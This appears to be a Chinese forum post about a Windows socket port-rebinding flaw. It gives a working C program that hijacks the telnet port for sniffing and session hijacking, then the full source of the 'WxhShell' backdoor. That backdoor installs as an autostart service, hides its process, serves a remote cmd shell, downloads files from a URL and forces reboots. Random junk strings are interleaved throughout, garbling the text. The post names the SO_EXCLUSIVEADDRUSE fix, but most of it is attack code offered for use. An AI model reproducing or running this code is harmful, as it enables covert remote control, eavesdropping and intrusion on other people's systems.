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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: i??+5o@uTF s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); c*"P+ 4mX]JH`UTe saddr.sin_family = AF_INET; L5 Ai dWwb}r(ky saddr.sin_addr.s_addr = htonl(INADDR_ANY); hg'eSU$J ^%g8OP bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); r(wtuD23q O(.eHZ= 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 d0zp89BEn Bqk+ne 这意味着什么?意味着可以进行如下的攻击: <+b~E, !A|}_K1Cr 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 JPj/+f %.\+j,G7 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) vQ$"|8, 1 un! 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 =i7CF3 16.?45 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 Nr]guC? rE [=Nv=d<[p 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 zqI|VH pXh`o20I 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 I!K-*
AB o4z|XhLr 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 0XyPG [E2".F3 #include UalwK #include {%,4P_m #include PtL8Kd0`C #include i-dosY`81 DWORD WINAPI ClientThread(LPVOID lpParam); YX3NZW2i int main() BuC\Bd^0 { L"jjD: WORD wVersionRequested; r]~]-VZ/ DWORD ret; s(L!]d.S$y WSADATA wsaData; Bw[IW[(~! BOOL val; c5i7mx:. SOCKADDR_IN saddr; #X'su`+ SOCKADDR_IN scaddr; jr-9KxE int err; 37M,Os1( SOCKET s; SVV-zz]3M SOCKET sc; mfDt_Iq int caddsize; 0Q
cJ Ek HANDLE mt;
nI+.De~ DWORD tid; @|'9nPern wVersionRequested = MAKEWORD( 2, 2 ); L`rrT err = WSAStartup( wVersionRequested, &wsaData ); EgzdRB\Cf if ( err != 0 ) { +#X+QG printf("error!WSAStartup failed!\n"); 9]/:B8k return -1; >29c[O"[ } F^}d>2W( saddr.sin_family = AF_INET; vn@sPT /&c>*4) //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Uhyf cN\_1 saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 6W;`}'ap saddr.sin_port = htons(23); X2Q35.AB if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) qpa}6JVQ+j { O\%0D.HEz printf("error!socket failed!\n"); v&f\ Jv7 return -1; {)Wa"|+ } Rdj^k^V+a1 val = TRUE; 2IkyC` //SO_REUSEADDR选项就是可以实现端口重绑定的 }ZiJHj'< if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) eV;nTj { e\*(F3r printf("error!setsockopt failed!\n"); '?X?'_3 return -1; >+:cTQ|q } u:wijkx //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
xKepZ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 sY]pszjT //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 [~n|R Oo Sj8fo^K50 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 87+u`~ { Dx9k%G)! ret=GetLastError(); PklJU:Pu\U printf("error!bind failed!\n"); d9T:0A`M return -1; aH,NS
} %[ o($a$ listen(s,2); @;S)j!m` while(1) q+w] Xs; { fM*aZc*Y caddsize = sizeof(scaddr); )M7~RN //接受连接请求 <9;X1XtpI sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 3u;0,:X& if(sc!=INVALID_SOCKET) z38Pi { s)sT\crP@ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); |H5$VSw if(mt==NULL) oj,;9{- { Fa #5a'}I printf("Thread Creat Failed!\n"); $lUz!mjG break; vrvi]
Y8 } a5w E{K } kpQN>XV# CloseHandle(mt); 1gLET.I: } 5T'viG}% closesocket(s); `+UBl\j WSACleanup(); ,}Im^~5 return 0; |n(b>.X } 'loko#6 DWORD WINAPI ClientThread(LPVOID lpParam) /c7jL4oD { Gxt6]+r SOCKET ss = (SOCKET)lpParam; !4YmaijeN SOCKET sc; X7MA>j3m unsigned char buf[4096]; 0]GenT" SOCKADDR_IN saddr; <jLL2-5r0 long num; /<o?T{z<- DWORD val; FJW,G20L DWORD ret; +NOq>kH@ //如果是隐藏端口应用的话,可以在此处加一些判断 4:kDBV;v //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 koj*3@\p/ saddr.sin_family = AF_INET; v,iq,p)& saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); o$}$Z&LK saddr.sin_port = htons(23); zIU6bMMT3u if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ,V;HMF.
{ bGlr>@;-r printf("error!socket failed!\n"); $]^Io)}f@ return -1; m\|EM'@k } (Q.I DDlr val = 100; }|znQ3A2\l if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) l
o-
42) { 5mm&l+N) ret = GetLastError(); %Bg>=C)^(1 return -1; 1h{7dLA } 5/HkhTyj if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) (/i|3 P { /In=u6D O ret = GetLastError(); DYgz;Y/%l return -1; >;fn,9w } r[2*K 9 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) sAF="uB { F-D$Y?m printf("error!socket connect failed!\n"); t\n'Kuk` closesocket(sc); >#Bu [nD% closesocket(ss); zN\C return -1; KJt6d`ZN } +zl[C while(1) xb&,9Lxd| { 5BM6Pnle //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 mdcsL~R //如果是嗅探内容的话,可以再此处进行内容分析和记录 J{nA
?[ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 )6px5Vwz num = recv(ss,buf,4096,0); hE4qs~YB! if(num>0) \|Y_,fi send(sc,buf,num,0); 5wv7]F< else if(num==0) ! 'Hd:oD< break; y%<CkgZS num = recv(sc,buf,4096,0); i\o * =+{r if(num>0) CH5>u send(ss,buf,num,0); d?/>Qqw:# else if(num==0) SPtx_+ Q)S break; K4OiKYq } TW1#'G_# closesocket(ss); X*hPE=2`
p closesocket(sc); p.x2R,CU return 0 ; nrbP3sf* } d$n<^~Z Z!l]v.S Nema>T] ========================================================== G"Hj$ n
ON]YDg 下边附上一个代码,,WXhSHELL Cli:;yi&n ##OCfCW ========================================================== Qp>Z&LvC5 D|'[ [= #include "stdafx.h" ,z>w^_ 1L=)93,M #include <stdio.h> mR8tW"Z2 #include <string.h> yI%q3lB}^ #include <windows.h> /.sho\a #include <winsock2.h> isFxo,R9r #include <winsvc.h> X-psao0tI` #include <urlmon.h> w`gT]Rn 6Q]JY,+ #pragma comment (lib, "Ws2_32.lib") rshUF #pragma comment (lib, "urlmon.lib") 6LabFX@{& 8wn{W_5a #define MAX_USER 100 // 最大客户端连接数 LbR'nG{J #define BUF_SOCK 200 // sock buffer +/hd;s$x #define KEY_BUFF 255 // 输入 buffer y!_8m#n S 3kVN[0 #define REBOOT 0 // 重启 Au:R]7 #define SHUTDOWN 1 // 关机 A-YW!BT4 + 7wMM#z #define DEF_PORT 5000 // 监听端口 p+b$jKWQ Hk=HO|&<XB #define REG_LEN 16 // 注册表键长度 =uR3|U(.|u #define SVC_LEN 80 // NT服务名长度 (]zi; -oB=7+g // 从dll定义API @0 [^SU? typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); S,vdd7Y typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); rCb#E} typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (D{J| typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (ki= s+W- 0!tuUn // wxhshell配置信息 rU1Ri struct WSCFG { /NxuNi;5 int ws_port; // 监听端口 Bi>]s%zp char ws_passstr[REG_LEN]; // 口令 s5)y%,E int ws_autoins; // 安装标记, 1=yes 0=no %N0m $* char ws_regname[REG_LEN]; // 注册表键名 "CZv5) char ws_svcname[REG_LEN]; // 服务名 M;YJpi char ws_svcdisp[SVC_LEN]; // 服务显示名 }^^c/w_ char ws_svcdesc[SVC_LEN]; // 服务描述信息 flOXV
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 R]0`-_T int ws_downexe; // 下载执行标记, 1=yes 0=no F6C7k9 char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" XCO8A\ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 vb}c)w
dp? Zx7aae_{ }; c6SXz%'k kU.@HJ[@j // default Wxhshell configuration =T1Xfib struct WSCFG wscfg={DEF_PORT, #qeC)T "xuhuanlingzhe", *eI {g 1, 4
=T_h` "Wxhshell", DgB;6Wl "Wxhshell", ,qNbo
11 "WxhShell Service", </aQ "Wrsky Windows CmdShell Service", "F4 3q8 P "Please Input Your Password: ", s d = bw 1, m)Wq*&,o " http://www.wrsky.com/wxhshell.exe", Jm"W+! E "Wxhshell.exe" >P//]nn }; ?TI]0) U} w@,6 // 消息定义模块 {CNJlr@z char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; '%o^#gJ p char *msg_ws_prompt="\n\r? for help\n\r#>"; [8%q@6[ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; ,LDL%<7t char *msg_ws_ext="\n\rExit."; @Bn4ZFB@ char *msg_ws_end="\n\rQuit."; m;L3c(r. char *msg_ws_boot="\n\rReboot..."; X-J85b_e char *msg_ws_poff="\n\rShutdown..."; *kcc]*6@s char *msg_ws_down="\n\rSave to "; 14*6+~38m& =&(e* u_ char *msg_ws_err="\n\rErr!"; y,w_x,m char *msg_ws_ok="\n\rOK!"; &>QxL d# =d]}7PO~ char ExeFile[MAX_PATH]; ( GoPXh int nUser = 0; ixE w!t HANDLE handles[MAX_USER]; rmr :G int OsIsNt; wSPmiJ/! 15yiDI
o SERVICE_STATUS serviceStatus; f.uy;v SERVICE_STATUS_HANDLE hServiceStatusHandle; !!w(`kmn1 9vSKIq // 函数声明 <FI*A+I4\ int Install(void); KVUub'k int Uninstall(void); gyhy0 int DownloadFile(char *sURL, SOCKET wsh); dczSW]% int Boot(int flag); u]i%<Yy89 void HideProc(void); {7;QZk( int GetOsVer(void); q?@* int Wxhshell(SOCKET wsl); v>N*f~n void TalkWithClient(void *cs); \&ki79Ly- int CmdShell(SOCKET sock); yO,Jgn int StartFromService(void); 1}+b4"7] int StartWxhshell(LPSTR lpCmdLine); AlkHf]oB N">#fYix VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); o$V0(1N VOID WINAPI NTServiceHandler( DWORD fdwControl ); XODp[+xEEt C
,|9VH // 数据结构和表定义 z4$9,p
` SERVICE_TABLE_ENTRY DispatchTable[] = w.#z>4#3- { nHRk2l| {wscfg.ws_svcname, NTServiceMain}, 4:pgZz! {NULL, NULL} DsbTx.vA }; F^S]7{ 69apTx // 自我安装 4=;j.=>0X int Install(void) (U
4n} J { 1LAd5X char svExeFile[MAX_PATH]; leI ]zDk= HKEY key; .GL@`7" strcpy(svExeFile,ExeFile); pZ3sp! T<NOLfk66 // 如果是win9x系统,修改注册表设为自启动 [-\U)>MY(p if(!OsIsNt) { .D\oKhV( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5FF28C)>/ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?mSZQF:d@ RegCloseKey(key); NJV kn~< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q
w - z RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [Q J RegCloseKey(key); zufsmY4P return 0; h.KgHMV` } lNtxM"G& } 1i_%1Oip } \okv}x^L=Z else { V{w &RJ )Q>Ao. // 如果是NT以上系统,安装为系统服务 5`g VziS!S SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }V`_(%Q-e if (schSCManager!=0) -K H"2q { >]C/ Q6 SC_HANDLE schService = CreateService m g@Ol"2 ( noEl+5uY schSCManager, N:'!0|6?x- wscfg.ws_svcname, V\opC6*L_e wscfg.ws_svcdisp, DS>&|zF5l SERVICE_ALL_ACCESS, 9!Jt}n?!g SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , PHY!yc-LjV SERVICE_AUTO_START, 4;r,U{uR SERVICE_ERROR_NORMAL, 8{ =ha svExeFile, ~(huUW NULL, lSO$Q]!9 NULL, YRr,{[e NULL, 'mTY56Yq NULL, \ym^~ Q| NULL 2N]8@a ); .Dl ?a>I if (schService!=0) -3azA7tzz { WVKAA. CloseServiceHandle(schService); 2FV@?x0po CloseServiceHandle(schSCManager); ZGsd cnz strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); o0S8ki strcat(svExeFile,wscfg.ws_svcname); 4
2DMmwB if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { u/-EVCHr
y RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _nEVmz!zg RegCloseKey(key); &zJ*afi) return 0; \=mLL|a } ,Z _@]D@ } 3S2Alx!6 CloseServiceHandle(schSCManager); #7}M\\$M } ZH8 w^} } (_CvN=A 96QY0
return 1; CSq|R-@<U } ksuePMIK b6sf1E // 自我卸载 &}7R\co3 int Uninstall(void) gsM^Pu09ud { |G$-5
7fk HKEY key; 6w{_+=T fjl9* if(!OsIsNt) { [rK`BnJX if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^blw\;LB RegDeleteValue(key,wscfg.ws_regname); DI2e%`$ RegCloseKey(key); <eS/-W%n6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wVnmT94 RegDeleteValue(key,wscfg.ws_regname); T]tu#h{
a RegCloseKey(key); JMo r[* return 0; (w5cp!qW9J } %N&W_.F6 } ID!S}D } <)T~_s else { = >tkc/aa b7I0R;Zj SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); J5HK1 if (schSCManager!=0) !6RDq` { hfyU}`]
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !K}W.yv, if (schService!=0) QRBx}!:NZ# { vt* if(DeleteService(schService)!=0) { N[Ei%I CloseServiceHandle(schService); US"g>WLwJ CloseServiceHandle(schSCManager); OY:rcGc`t return 0; w5~j|c=_W } -l[$+Kw1S CloseServiceHandle(schService); "-dA\,G } q >>1?hzA CloseServiceHandle(schSCManager); ~LV]cX2J( } Yk|.UuXT } 9X;*GC;d Ng*-Bw)p] return 1; aGi`(|shW } |m"Gr)Gm j3/6hE> // 从指定url下载文件 REK):(i7P int DownloadFile(char *sURL, SOCKET wsh) q{f\_2[ { RJerx:] HRESULT hr; hCr,6nc C char seps[]= "/"; /_{ZWLi( char *token; \gPMYMd char *file; 2gZp
O9 char myURL[MAX_PATH]; <,n:w[+!`P char myFILE[MAX_PATH]; 4m91XD V,d\Wk k/ strcpy(myURL,sURL); O_4B>
)zd token=strtok(myURL,seps); jaKW[@< while(token!=NULL) x< 2]UB` { R<6y7?]bZ file=token; -aok ]w
m token=strtok(NULL,seps); 6?KUS}nRS } zb!1o0, J j7gTVfO GetCurrentDirectory(MAX_PATH,myFILE); 4* >j:1 strcat(myFILE, "\\"); )?(Ux1:w) strcat(myFILE, file); ln=fq: send(wsh,myFILE,strlen(myFILE),0); EC[]L'IL send(wsh,"...",3,0); v^t7)nx^ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 2z;3NUL$n if(hr==S_OK) WlvT&W return 0; 4=|Q2qgFV else M80Q6K return 1; pFNU~y'Kf 0NZ'(qf~9 } >uq0}HB$a \OFmd!Cz // 系统电源模块 zm5PlG int Boot(int flag) ,-E'059 { #!UJY%c~ HANDLE hToken; q6C`hVMl TOKEN_PRIVILEGES tkp; z7`|N`$Z#s NFEr ,n if(OsIsNt) { 9S}rTZkEq OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); GAYn*'< LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); K&NH? tkp.PrivilegeCount = 1; ;)CN=J! tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 1@t.J> AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); O(8CrKYY if(flag==REBOOT) { u_9c> if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 7>O`UT<t4@ return 0; C{uT1` } }kvix{ else { 8&"Jlz
| if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) l$9k:#\FD return 0; _&V,yp!|
} FVrB#Hw~ } u$[8Zmgzz else { GEf=A.WAfw if(flag==REBOOT) { v:/!OvLe if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) X coPkW return 0; Q> y! } _1G/qHf^S else { &k}B66 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) DAWF
=p] return 0; q 9xA.* } Pm)*zdZ8 } $G"\@YC< )/)u.$pi return 1; W#P\hx } bRm;d_9zC lD[@D9 // win9x进程隐藏模块 j0{`7n void HideProc(void) H2:
Zda# { -;_"Y]# AJ*17w HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); SIrNZ^I if ( hKernel != NULL ) 16 `M=R { |au`ph5 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); T{+a48,; ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); `+\$ FreeLibrary(hKernel); 9Q s5e } /}U)|6-B eQ/w
Mr return; T&pCLvkz } oydP}X aXVldt' // 获取操作系统版本 WcKDerc int GetOsVer(void) \z !lw { `&q+ f+z OSVERSIONINFO winfo; 0/f|ZH ~! winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 2ak]&ll+h GetVersionEx(&winfo); k
$^/$N if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) TU~y;:OJ return 1; mp$IhJ6# else %+j/nA1%S return 0; N)Q_z9b= } v0 :n:q F=e;[uK\ // 客户端句柄模块 qfJ2iE|o2. int Wxhshell(SOCKET wsl) `Ze$Bd\ { JX5/PCO SOCKET wsh; 0$Rn|yqf% struct sockaddr_in client; @~ke=w6&pe DWORD myID; v%*don ]`x+wWe while(nUser<MAX_USER) q`2dL)E { ">wvd*w0"( int nSize=sizeof(client); 3<$Ek3X wsh=accept(wsl,(struct sockaddr *)&client,&nSize); o}KVT%} if(wsh==INVALID_SOCKET) return 1; w@,p` ?B ,<gen handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #!O)-dyF if(handles[nUser]==0) Jaw1bUP!oK closesocket(wsh); ^|Fy!kp else _dk[k@5W{' nUser++; Pa d)| } G^dp9A WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Ij4q &i" Posz|u<x return 0; J Y8Rk= } -d4v:Jab
7SJ=2 // 关闭 socket 6?M/71 void CloseIt(SOCKET wsh) klQmo30i { +:jonN9d closesocket(wsh); >uYQt~s nUser--; 8493Sw ExitThread(0); $)ka1L"N } I[K4/91 AH'c:w]~ // 客户端请求句柄 !zOj`lx void TalkWithClient(void *cs) )HE{`yiLL { &K'*67h lJFy(^KQG, SOCKET wsh=(SOCKET)cs; w>X@
, char pwd[SVC_LEN]; t6+W char cmd[KEY_BUFF]; y]@JkF( char chr[1]; d6tv4Cf int i,j; sNpA!!\PM 6}R*7iMs while (nUser < MAX_USER) { [UzacX t B6IKD if(wscfg.ws_passstr) { nm<VcCc if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); AzJ;EtR //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); o[Qb/ 7 //ZeroMemory(pwd,KEY_BUFF); *l
=f= i=0; \f4rA?+f while(i<SVC_LEN) { 4bL *7bA *\'t$se+ // 设置超时 T$u'+*
Xx fd_set FdRead; s&VsK# struct timeval TimeOut; 7/hn%obC FD_ZERO(&FdRead); YL|)`m0-^5 FD_SET(wsh,&FdRead); 084Us
s TimeOut.tv_sec=8; J7",fb TimeOut.tv_usec=0; Yu" Q int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); oCkG if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ].J;8} &D{!zF if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ZlC+DXg#S pwd =chr[0]; Hm'fK$y( if(chr[0]==0xd || chr[0]==0xa) { "TaLvworb4 pwd=0; *8,W$pe3 break; iupkb } MQw}R7 i++; %+Nng<_U\T } |k}L=oWE Vv(buG // 如果是非法用户,关闭 socket n;:.UGl9. if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); .+XK>jl+ } G.L}VpopM deYv&=SPl send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); /# Jvt send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1-^D2B[- gd#R7[AVi while(1) { +j F|8 sdO8;v> ZeroMemory(cmd,KEY_BUFF); p: z][I #Swc>jYc // 自动支持客户端 telnet标准 u(1m#xr8$ j=0; :35h0;8+ while(j<KEY_BUFF) { @a]cI if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); IxUj(l1Fm cmd[j]=chr[0]; 9Cd/SlNV2 if(chr[0]==0xa || chr[0]==0xd) { BQWgL cmd[j]=0; KxKZC}4m break; c3l(,5DtH } T5}3Y3G,6 j++; E)m \KSwh } xV+\R/)x
?K pDEH~\ // 下载文件 u{=h%d/ if(strstr(cmd,"http://")) { +Eb-|dM send(wsh,msg_ws_down,strlen(msg_ws_down),0); *LBF+L^C% if(DownloadFile(cmd,wsh)) nkPlfH send(wsh,msg_ws_err,strlen(msg_ws_err),0); \9p.I?= else [I%eRo[ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Jxe 5y3*
( } #y#TEw, else { X1P1
$RdkR 4.,|vtp switch(cmd[0]) { ^kcuRJ0*$ 8i;drvf // 帮助 w)S 4Xi= case '?': { Lct_6? send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); A3 TR'BFw- break; 0B9FPpx? : } .4E24FB[f? // 安装 nT=%3_. case 'i': { \6a' p
Q, if(Install()) i03S9J send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'MYKAnZ-i else BTr;F]W send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1yF9zKs&_ break; L''VBY"? } -eV*I>G // 卸载 ,^mEi case 'r': { y~]D402Cx if(Uninstall()) zFFYl7] send(wsh,msg_ws_err,strlen(msg_ws_err),0); "wV else 3)>re& send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LEnv/t6U break; y'2w*? } "'``O~08/ // 显示 wxhshell 所在路径 1r.2bL*~jw case 'p': { @qcUxu 4 char svExeFile[MAX_PATH]; GNmP_N strcpy(svExeFile,"\n\r"); EmUt/] strcat(svExeFile,ExeFile); ]g9SUFM send(wsh,svExeFile,strlen(svExeFile),0); q'H6oD` break; R6 ej } Kk=>"?& // 重启 V]Ccj\Oi case 'b': { w-)JCdS6Tb send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); wsrdBxd5 if(Boot(REBOOT)) `R
(N3 send(wsh,msg_ws_err,strlen(msg_ws_err),0); w_`;Mn%p else { R=Lkf closesocket(wsh); .Gr"|uII ExitThread(0); 3nhQ^zqf } .
&}x[~g break; J:uFQWxZ
} D6e?J. // 关机 c{D<+XM case 'd': { ]S?G]/k} send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); F3!6}u\F if(Boot(SHUTDOWN)) &-NGVPk81` send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZI$P Qz2i else { X0ugnQ6 closesocket(wsh); qrOesSdc ExitThread(0); j3w~2q"r } ~IO'"h'w break; U%1M?vT/ } $ta"Ug.z // 获取shell q2B'R case 's': { wH=7pS"s CmdShell(wsh); b?Q$UMAbH closesocket(wsh); w(+L&IBC ExitThread(0); ?en-_'}~a break; '^7Z]K <v } ||cI~qg // 退出 ScInOPb'K case 'x': { 4>Ht_B<< send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !F6rcDK I CloseIt(wsh); m>[G-~0?kI break; er
1zSTkg } `3K."/N6c // 离开 IYptNR case 'q': { UZiL NKc send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9@M;\ @&g closesocket(wsh); +('xzW WSACleanup(); Xsb.xxK. exit(1); (Y&gse1}! break; ;gJAxVD< } <|WXFjn } 33}p02# } |,.1=|&u ~|{e"!(} // 提示信息 6eB~S)Ko if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kJ.7C } HCktgL:E= } c0jTQMe4yl [ot+EA return; -ImO y| } W>x.*K XI ><;# // shell模块句柄 Bz,Xg-k+ int CmdShell(SOCKET sock) Y>nQ< { 4|jPr J
STARTUPINFO si; 4rCw#mVtB ZeroMemory(&si,sizeof(si)); N1:)Z`r si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :=quCzG si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Y.52`s6F PROCESS_INFORMATION ProcessInfo; w1F)R^tU char cmdline[]="cmd"; c2gZ<[~ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .ArOZ{lKD> return 0; 0"sZP\<p } 54]UfmT%I L)H/t6}i // 自身启动模式 ^'sy hI\ int StartFromService(void) {Aj=Rj@ { JGhK8E
typedef struct |9m*?7 { FhEfW7]0, DWORD ExitStatus; [W'2z,S`WD DWORD PebBaseAddress; 'OhGSs| DWORD AffinityMask; b9Eb" DWORD BasePriority; ! v%%_sRV ULONG UniqueProcessId; +WxD=|p; ULONG InheritedFromUniqueProcessId; 7/=r- } PROCESS_BASIC_INFORMATION; L[+4/a!HQ (G>g0(;D- PROCNTQSIP NtQueryInformationProcess; ^m.%FIwR (r.y
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -ebyW# static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; j3?@p5E( \$,;@H5I^ HANDLE hProcess; PC,I"l PROCESS_BASIC_INFORMATION pbi; 1NN#-U &6\E'bBt HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); A(C0/|#V if(NULL == hInst ) return 0; +I.{y ,}^;q58 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _4lKd` g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1q*=4O
